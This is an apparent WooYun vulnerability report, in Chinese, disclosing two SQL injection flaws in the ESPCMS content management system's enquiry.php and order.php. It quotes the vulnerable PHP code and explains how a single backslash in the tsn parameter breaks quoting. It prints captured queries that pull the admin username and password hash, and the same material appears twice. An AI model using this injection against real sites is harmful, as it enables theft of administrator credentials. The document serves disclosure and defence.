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缺陷编号:wooyun-2015-0137902

漏洞标题:espcms最新版两处高危SQL注入漏洞附分析(遗漏未修复)

相关厂商:易思ESPCMS企业网站管理系统

漏洞作者: Xser

提交时间:2015-08-31 12:52

修复时间:2015-11-29 14:22

公开时间:2015-11-29 14:22

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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漏洞详情

披露状态:

2015-08-31: 细节已通知厂商并且等待厂商处理中
2015-08-31: 厂商已经确认,细节仅向厂商公开
2015-09-03: 细节向第三方安全合作伙伴开放
2015-10-25: 细节向核心白帽子及相关领域专家公开
2015-11-04: 细节向普通白帽子公开
2015-11-14: 细节向实习白帽子公开
2015-11-29: 细节向公众公开

简要描述:

绝对是最新版本!
版本信息:V6.4.15.08.25 UTF8 正式版
更新时间:2015-08-25 12:29:04 软件大小:7.67MB
25号更新的,有两处高危注入没有修复

详细说明:

第一处在
在enquiry.php中

$ptitle = $this->fun->accept('ptitle', 'P');
$tsn = $this->fun->accept('tsn', 'P');
$did = $this->fun->accept('did', 'P');
if (empty($did) || empty($amount) || empty($ptitle)) {
$enquirylink = $this->get_link('enquiry', array(), admin_LNG);
$this->callmessage($this->lng['enquiry_input_err'], $enquirylink, $this->lng['enquiry_into_listbotton']);
}
if (!preg_match("/^\w+((-\w+)|(\.\w+))*\@[A-Za-z0-9]+((\.|-)[A-Za-z0-9]+)*\.[A-Za-z0-9]+$/i", $email)) {
$this->callmessage($this->lng['email_err'], $_SERVER['HTTP_REFERER'], $this->lng['gobackbotton']);
}
$enquirysn = date('YmdHis') . rand(100, 9999);
$db_table = db_prefix . 'enquiry';
$db_table2 = db_prefix . 'enquiry_info';
$addtime = time();
$db_field = 'enquirysn,userid,linkman,sex,country,province,city,district,address,zipcode,tel,fax,mobile,email,content,isclass,addtime,edittime';
$db_values = "'$enquirysn',$userid,'$linkman',$sex,$country,$province,$city,$district,'$address','$zipcode','$tel','$fax','$mobile','$email','$content',0,$addtime,0";
$this->db->query('INSERT INTO ' . $db_table . ' (' . $db_field . ') VALUES (' . $db_values . ')');
$insert_id = $this->db->insert_id();
$db_values = '';
$arraycount = count($did) - 1;
foreach ($did as $key => $value) {
$value = intval($value);
$amount[$key] = intval($amount[$key]);
if ($key == $arraycount) {
$db_values.= "($insert_id,$value,'$tsn[$key]','$ptitle[$key]',$amount[$key],'')";
} else {
$db_values.= "($insert_id,$value,'$tsn[$key]','$ptitle[$key]',$amount[$key],''),";
}
}


这里会把提交的数据转义,但是当$tsn不是数组的时候是这样的
$temp = "wooyun"
$temp[0]的值为w
playload构造:
直接提交$tsn=\
截到的sql语句是

查询时间	查询语句
2015/8/30 0:46 INSERT INTO espcms_enquiry_info (eid,did,tsn,title,amount,comment) VALUES (2,36,'\',',(SELECT CONCAT(USERNAME,0x7c,PASSWORD) FROM espcms_admin_member LIMIT 1 ),1,1)#',1,'')


360截图20150830005055174.jpg


第二处在order.php中

if ($uncartid && is_array($uncartid) && !empty($ordersncode) && $cookiceprice == $ordersncode) { $ptitle = $this->fun->accept('ptitle', 'P'); $tsn = $this->fun->accept('tsn', 'P'); $bprice = $this->fun->accept('bprice', 'P'); $oprice = $this->fun->accept('oprice', 'P'); $did = $this->fun->accept('did', 'P'); $amount = $this->fun->accept('amount', 'P'); $countprice = $this->fun->accept('countprice', 'P'); if (empty($did) || empty($bprice) || empty($amount) || empty($countprice) || empty($opid) || empty($osid)) { $buylink = $this->get_link('order', array(), admin_LNG); $this->callmessage($this->lng['order_input_err'], $buylink, $this->lng['oder_buy_goback']); } if (!preg_match("/^\w+((-\w+)|(\.\w+))*\@[A-Za-z0-9]+((\.|-)[A-Za-z0-9]+)*\.[A-Za-z0-9]+$/i", $email)) { $this->callmessage($this->lng['email_err'], $_SERVER['HTTP_REFERER'], $this->lng['gobackbotton']); } $payprice = 0; $shipprice = 0; $payread = !empty($opid) ? $this->get_payplug_view($opid) : 0; $shipprice = !empty($osid) ? $this->get_shipplug_view($osid, 'price') : 0; $shipprice = floatval($shipprice); if ($payread['payis'] > 0) { $payread['payis'] = floatval($payread['payis']); $payprice = ($payread['payis'] / 100) * $discount_productmoney; } $orderamount = $discount_productmoney + $payprice + $shipprice; $order_snfont = $this->CON['order_snfont']; $ordersn = $order_snfont . date('YmdHis') . rand(100, 9999); $db_table = db_prefix . 'order'; $db_table2 = db_prefix . 'order_info'; $addtime = time(); $db_field = 'ordersn,userid,ordertype,osid,opid,shippingsn,paysn,consignee,country,province,city,district,address, zipcode,tel,mobile,email,sendtime,invpayee,invcontent,content,treatnote,paytime,shippingtime,productmoney,shippingmoney, paymoney,orderamount,discount,integral,addtime'; $db_values = "'$ordersn',$userid,1,$osid,$opid,'','','$consignee',$country,$province,$city,$district,'$address', '$zipcode','$tel','$mobile','$email','$sendtime','$invpayee','$invcontent','$content','',0,0,$productmoney,$shipprice, $payprice,$orderamount,$discountmoney,0,$addtime"; $this->db->query('INSERT INTO ' . $db_table . ' (' . $db_field . ') VALUES (' . $db_values . ')');


这里会把提交的数据转义,但是当$tsn不是数组的时候是这样的 $temp = "wooyun" $temp[0]的值为w playload构造: 直接提交$tsn=\的话经过gpc会变成\\ ,那样截取了第一个\就成了\
他新加了个tokenkey,然而并没有什么卵用。 截到的sql语句是

2015/8/30 1:05	INSERT INTO espcms_order_info (oid,did,tsn,title,oprice,bprice,countprice,amount,inventory) VALUES (4,36,'\',',(SELECT CONCAT(USERNAME,0x7c,PASSWORD) FROM espcms_admin_member LIMIT 1 ),1,1,1,1,1)#',0,1,1,1,1)


360截图20150830010611092.jpg

漏洞证明:

第一处在
在enquiry.php中

$ptitle = $this->fun->accept('ptitle', 'P');
$tsn = $this->fun->accept('tsn', 'P');
$did = $this->fun->accept('did', 'P');
if (empty($did) || empty($amount) || empty($ptitle)) {
$enquirylink = $this->get_link('enquiry', array(), admin_LNG);
$this->callmessage($this->lng['enquiry_input_err'], $enquirylink, $this->lng['enquiry_into_listbotton']);
}
if (!preg_match("/^\w+((-\w+)|(\.\w+))*\@[A-Za-z0-9]+((\.|-)[A-Za-z0-9]+)*\.[A-Za-z0-9]+$/i", $email)) {
$this->callmessage($this->lng['email_err'], $_SERVER['HTTP_REFERER'], $this->lng['gobackbotton']);
}
$enquirysn = date('YmdHis') . rand(100, 9999);
$db_table = db_prefix . 'enquiry';
$db_table2 = db_prefix . 'enquiry_info';
$addtime = time();
$db_field = 'enquirysn,userid,linkman,sex,country,province,city,district,address,zipcode,tel,fax,mobile,email,content,isclass,addtime,edittime';
$db_values = "'$enquirysn',$userid,'$linkman',$sex,$country,$province,$city,$district,'$address','$zipcode','$tel','$fax','$mobile','$email','$content',0,$addtime,0";
$this->db->query('INSERT INTO ' . $db_table . ' (' . $db_field . ') VALUES (' . $db_values . ')');
$insert_id = $this->db->insert_id();
$db_values = '';
$arraycount = count($did) - 1;
foreach ($did as $key => $value) {
$value = intval($value);
$amount[$key] = intval($amount[$key]);
if ($key == $arraycount) {
$db_values.= "($insert_id,$value,'$tsn[$key]','$ptitle[$key]',$amount[$key],'')";
} else {
$db_values.= "($insert_id,$value,'$tsn[$key]','$ptitle[$key]',$amount[$key],''),";
}
}


这里会把提交的数据转义,但是当$tsn不是数组的时候是这样的
$temp = "wooyun"
$temp[0]的值为w
playload构造:
直接提交$tsn=\
截到的sql语句是

查询时间	查询语句
2015/8/30 0:46 INSERT INTO espcms_enquiry_info (eid,did,tsn,title,amount,comment) VALUES (2,36,'\',',(SELECT CONCAT(USERNAME,0x7c,PASSWORD) FROM espcms_admin_member LIMIT 1 ),1,1)#',1,'')


360截图20150830005055174.jpg


第二处在order.php中

if ($uncartid && is_array($uncartid) && !empty($ordersncode) && $cookiceprice == $ordersncode) { $ptitle = $this->fun->accept('ptitle', 'P'); $tsn = $this->fun->accept('tsn', 'P'); $bprice = $this->fun->accept('bprice', 'P'); $oprice = $this->fun->accept('oprice', 'P'); $did = $this->fun->accept('did', 'P'); $amount = $this->fun->accept('amount', 'P'); $countprice = $this->fun->accept('countprice', 'P'); if (empty($did) || empty($bprice) || empty($amount) || empty($countprice) || empty($opid) || empty($osid)) { $buylink = $this->get_link('order', array(), admin_LNG); $this->callmessage($this->lng['order_input_err'], $buylink, $this->lng['oder_buy_goback']); } if (!preg_match("/^\w+((-\w+)|(\.\w+))*\@[A-Za-z0-9]+((\.|-)[A-Za-z0-9]+)*\.[A-Za-z0-9]+$/i", $email)) { $this->callmessage($this->lng['email_err'], $_SERVER['HTTP_REFERER'], $this->lng['gobackbotton']); } $payprice = 0; $shipprice = 0; $payread = !empty($opid) ? $this->get_payplug_view($opid) : 0; $shipprice = !empty($osid) ? $this->get_shipplug_view($osid, 'price') : 0; $shipprice = floatval($shipprice); if ($payread['payis'] > 0) { $payread['payis'] = floatval($payread['payis']); $payprice = ($payread['payis'] / 100) * $discount_productmoney; } $orderamount = $discount_productmoney + $payprice + $shipprice; $order_snfont = $this->CON['order_snfont']; $ordersn = $order_snfont . date('YmdHis') . rand(100, 9999); $db_table = db_prefix . 'order'; $db_table2 = db_prefix . 'order_info'; $addtime = time(); $db_field = 'ordersn,userid,ordertype,osid,opid,shippingsn,paysn,consignee,country,province,city,district,address, zipcode,tel,mobile,email,sendtime,invpayee,invcontent,content,treatnote,paytime,shippingtime,productmoney,shippingmoney, paymoney,orderamount,discount,integral,addtime'; $db_values = "'$ordersn',$userid,1,$osid,$opid,'','','$consignee',$country,$province,$city,$district,'$address', '$zipcode','$tel','$mobile','$email','$sendtime','$invpayee','$invcontent','$content','',0,0,$productmoney,$shipprice, $payprice,$orderamount,$discountmoney,0,$addtime"; $this->db->query('INSERT INTO ' . $db_table . ' (' . $db_field . ') VALUES (' . $db_values . ')');


这里会把提交的数据转义,但是当$tsn不是数组的时候是这样的 $temp = "wooyun" $temp[0]的值为w playload构造: 直接提交$tsn=\的话经过gpc会变成\\ ,那样截取了第一个\就成了\
他新加了个tokenkey,然而并没有什么卵用。 截到的sql语句是

2015/8/30 1:05	INSERT INTO espcms_order_info (oid,did,tsn,title,oprice,bprice,countprice,amount,inventory) VALUES (4,36,'\',',(SELECT CONCAT(USERNAME,0x7c,PASSWORD) FROM espcms_admin_member LIMIT 1 ),1,1,1,1,1)#',0,1,1,1,1)


360截图20150830010611092.jpg

修复方案:

过滤

版权声明:转载请注明来源 Xser@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:1

确认时间:2015-08-31 14:21

厂商回复:

此漏洞经过服务器处理不受影响。

最新状态:

暂无